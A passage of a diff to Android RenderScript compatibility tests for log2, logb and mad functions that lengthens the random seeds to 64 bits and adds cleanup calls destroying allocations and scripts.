     private void verifyResultsLog2Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkLog2Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xba9c6295l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x52db67e3ba9c6295l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testLog2Float3Float3(inV, out);
             verifyResultsLog2Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLog2Float3Float3(inV, out);
             verifyResultsLog2Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog2Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkLog2Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb0b78373l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x52dd30feb0b78373l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testLog2Float4Float4(inV, out);
             verifyResultsLog2Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLog2Float4Float4(inV, out);
             verifyResultsLog2Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog2Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkLog2HalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x23a7d4adl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2a47acb523a7d4adl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLog2HalfHalf(inV, out);
             verifyResultsLog2HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLog2HalfHalf(inV, out);
             verifyResultsLog2HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog2HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkLog2Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2e6623a7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5fad78322e6623a7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testLog2Half2Half2(inV, out);
             verifyResultsLog2Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLog2Half2Half2(inV, out);
             verifyResultsLog2Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog2Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkLog2Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x8d6de89bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5fad82d38d6de89bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testLog2Half3Half3(inV, out);
             verifyResultsLog2Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLog2Half3Half3(inV, out);
             verifyResultsLog2Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog2Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkLog2Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xec75ad8fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5fad8d74ec75ad8fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testLog2Half4Half4(inV, out);
             verifyResultsLog2Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLog2Half4Half4(inV, out);
             verifyResultsLog2Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLog2Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLog2Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogb.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogb.java
index d641200..2dd6262 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogb.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogb.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestLogbRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkLogbFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xada6157bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xab2603feada6157bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testLogbFloatFloat(inV, out);
             verifyResultsLogbFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLogbFloatFloat(inV, out);
             verifyResultsLogbFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogbFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkLogbFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf90b6647l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x256d8fbaf90b6647l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testLogbFloat2Float2(inV, out);
             verifyResultsLogbFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLogbFloat2Float2(inV, out);
             verifyResultsLogbFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogbFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkLogbFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xef268725l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x256f58d5ef268725l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testLogbFloat3Float3(inV, out);
             verifyResultsLogbFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLogbFloat3Float3(inV, out);
             verifyResultsLogbFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogbFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkLogbFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe541a803l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x257121f0e541a803l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testLogbFloat4Float4(inV, out);
             verifyResultsLogbFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLogbFloat4Float4(inV, out);
             verifyResultsLogbFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogbFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkLogbHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5c22463dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x95505fdd5c22463dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testLogbHalfHalf(inV, out);
             verifyResultsLogbHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testLogbHalfHalf(inV, out);
             verifyResultsLogbHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogbHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkLogbHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x1ac45cb7l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x718375b21ac45cb7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testLogbHalf2Half2(inV, out);
             verifyResultsLogbHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testLogbHalf2Half2(inV, out);
             verifyResultsLogbHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogbHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkLogbHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x79cc21abl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7183805379cc21abl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testLogbHalf3Half3(inV, out);
             verifyResultsLogbHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testLogbHalf3Half3(inV, out);
             verifyResultsLogbHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogbHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkLogbHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd8d3e69fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x71838af4d8d3e69fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testLogbHalf4Half4(inV, out);
             verifyResultsLogbHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testLogbHalf4Half4(inV, out);
             verifyResultsLogbHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testLogbHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsLogbHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMad.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMad.java
index 29e2828..9802b88 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMad.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMad.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestMadRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloatFloat {
         public float inMultiplicand1;
         public float inMultiplicand2;
@@ -45,15 +52,16 @@
     }
 
     private void checkMadFloatFloatFloatFloat() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x40b4de48l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x40b4de49l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc50ce0fcl, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2a4461e340b4de48l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2a4461e340b4de49l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xcea3b86dc50ce0fcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testMadFloatFloatFloatFloat(inMultiplicand1, out);
             verifyResultsMadFloatFloatFloatFloat(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadFloatFloatFloatFloat: " + e.toString());
         }
@@ -63,9 +71,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testMadFloatFloatFloatFloat(inMultiplicand1, out);
             verifyResultsMadFloatFloatFloatFloat(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadFloatFloatFloatFloat: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsMadFloatFloatFloatFloat(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -134,15 +146,16 @@
     }
 
     private void checkMadFloat2Float2Float2Float2() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8a5fd7c0l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8a5fd7c1l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x318f8924l, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdfffb28a8a5fd7c0l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdfffb28a8a5fd7c1l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3da8592f318f8924l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testMadFloat2Float2Float2Float2(inMultiplicand1, out);
             verifyResultsMadFloat2Float2Float2Float2(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadFloat2Float2Float2Float2: " + e.toString());
         }
@@ -152,9 +165,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testMadFloat2Float2Float2Float2(inMultiplicand1, out);
             verifyResultsMadFloat2Float2Float2Float2(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadFloat2Float2Float2Float2: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsMadFloat2Float2Float2Float2(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -223,15 +240,16 @@
     }
 
     private void checkMadFloat3Float3Float3Float3() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe1551f1cl, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe1551f1dl, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfb77d218l, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdd6226bde1551f1cl, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdd6226bde1551f1dl, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x117f5b0bfb77d218l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testMadFloat3Float3Float3Float3(inMultiplicand1, out);
             verifyResultsMadFloat3Float3Float3Float3(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadFloat3Float3Float3Float3: " + e.toString());
         }
@@ -241,9 +259,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testMadFloat3Float3Float3Float3(inMultiplicand1, out);
             verifyResultsMadFloat3Float3Float3Float3(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadFloat3Float3Float3Float3: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsMadFloat3Float3Float3Float3(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -312,15 +334,16 @@
     }
 
     private void checkMadFloat4Float4Float4Float4() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x384a6678l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x384a6679l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc5601b0cl, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdac49af1384a6678l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdac49af1384a6679l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe5565ce8c5601b0cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testMadFloat4Float4Float4Float4(inMultiplicand1, out);
             verifyResultsMadFloat4Float4Float4Float4(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadFloat4Float4Float4Float4: " + e.toString());
         }
@@ -330,9 +353,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testMadFloat4Float4Float4Float4(inMultiplicand1, out);
             verifyResultsMadFloat4Float4Float4Float4(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadFloat4Float4Float4Float4: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsMadFloat4Float4Float4Float4(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -411,15 +438,16 @@
     }
 
     private void checkMadHalfHalfHalfHalf() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcfbe7d2cl, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcfbe7d2dl, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xfd6cfcc8l, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2983a5ddcfbe7d2cl, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2983a5ddcfbe7d2dl, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc76d350bfd6cfcc8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testMadHalfHalfHalfHalf(inMultiplicand1, out);
             verifyResultsMadHalfHalfHalfHalf(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadHalfHalfHalfHalf: " + e.toString());
         }
@@ -429,9 +457,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testMadHalfHalfHalfHalf(inMultiplicand1, out);
             verifyResultsMadHalfHalfHalfHalf(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadHalfHalfHalfHalf: " + e.toString());
         }
+        inMultiplicand1.destroy();
+        inMultiplicand2.destroy();
+        inOffset.destroy();
     }
 
     private void verifyResultsMadHalfHalfHalfHalf(Allocation inMultiplicand1, Allocation inMultiplicand2, Allocation inOffset, Allocation out, boolean relaxed) {
@@ -506,15 +538,16 @@
     }
 
     private void checkMadHalf2Half2Half2Half2() {
-        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe9fc79e0l, false);
-        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe9fc79e1l, false);
-        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xdeb2c084l, false);
+        Allocation inMultiplicand1 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x448f565ee9fc79e0l, false);
+        Allocation inMultiplicand2 = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x448f565ee9fc79e1l, false);
+        Allocation inOffset = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x340ae370deb2c084l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInMultiplicand2(inMultiplicand2);
             script.set_gAllocInOffset(inOffset);
             script.forEach_testMadHalf2Half2Half2Half2(inMultiplicand1, out);
             verifyResultsMadHalf2Half2Half2Half2(inMultiplicand1, inMultiplicand2, inOffset, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadHalf2Half2Half2Half2: " + e.toString());
         }
@@ -524,9 +557,13 @@
             scriptRelaxed.set_gAllocInOffset(inOffset);
             scriptRelaxed.forEach_testMadHalf2Half2Half2Half2(inMultiplicand1, out);
             verifyResultsMadHalf2Half2Half2Half2(inMultiplicand1, inMultiplicand2, inOffset, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMadHalf2Half2Half2Half2: " + e.toString());
         }
+        inMultiplicand1.destroy();
